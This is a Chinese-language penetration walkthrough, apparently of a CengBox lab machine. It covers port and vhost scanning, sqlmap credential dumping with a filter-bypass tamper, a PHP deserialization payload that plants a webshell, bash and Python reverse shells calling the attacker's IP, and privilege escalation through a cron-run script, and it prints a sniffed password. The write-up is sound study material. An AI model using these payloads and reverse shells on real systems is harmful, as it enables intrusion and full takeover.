1.信息收集
输入命令:netdiscover -i eth0 -r 192.168.239.0 ,发现181机器存活

输入命令nmap -p- -sV -O -Pn -A 192.168.239.181 ,进行端口探测,发现存在22、80、443端口,还发现存在域名ceng-company.vm。

将域名ceng-company.vm绑定在/etc/hosts文件中,再到浏览器上访问ceng-company.vm,发现是Agency网站。

使用命令searchsploit Agency,搜索存在的历史命令,,查看源码未发现版本信息,逐个尝试未成功。

进行目录扫描:gobuster dir -u http://ceng-company.vm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x .zip,.php,.txt,.html,.rar,.php.bak,发现存在poem.txt文件,打开未发现可利用


进行域名扫描:gobuster vhost --append-domain -u ceng-company.vm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | grep "Status: 200",发现存在dev.ceng-company.vm

浏览器访问,发现是一个登录页面。

抓包,进行sqlmap注入探测,发现存在sql注入漏洞


2.漏洞利用
在获取数据库的时候,发现获取不到,猜测有过滤,看到sqlmap提示字符“>”似乎是由后端服务器过滤,使用–tamper=between进行绕过。

输入命令:sqlmap -r sql.txt --random-agent --batch --level 3 --risk 3 -D MySql --tamper=between -D cengbox -T users -C "login,name,password" --dump,来获取用户名与密码。

添加评论,发现PHP序列号,猜测存在PHP反序列化漏洞

data=O:4:"Poem":3:{s:8:"poemName";s:4:"1345";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:22:"/var/www/html/poem.txt";s:8:"poemName";s:4:"1345";}s:9:"poemLines";s:3:"789";}

构造POC:O:4:"Poem":3:{s:8:"poemName";s:4:"1345";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:22:"/var/www/html/pin1.php";s:8:"poemName";s:19:"<?php phpinfo(); ?>";}s:9:"poemLines";s:3:"789";}(需要经过url编码),利用成功。

构造命令执行的exp:O:4:"Poem":3:{s:8:"poemName";s:4:"1345";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:21:"/var/www/html/cmd.php";s:8:"poemName";s:27:"<?php system($_GET[123]);?>";}s:9:"poemLines";s:3:"789";}(需要经过url编码),执行命令成功。


3.提权
反弹shell,bash -c "exec bash -i &>/dev/tcp/192.168.239.131/1234 <&1"


上传pspy64s,进行信息收集,发现存在login.py。

因为是定时执行的任务,目标主机又安装有tcpdump,故使用tcpdump来抓取目标主机的流量,抓取3分钟左右。


将抓取到的流量下载到本地上,并使用strings进行查看,发现用户eric的密码为:3ricThompson*Covid19

切换到eric,往login.py文件中写入反弹,并监听端口,反弹成功,权限为root。
echo "'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.239.131",1478));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'" > login.py





















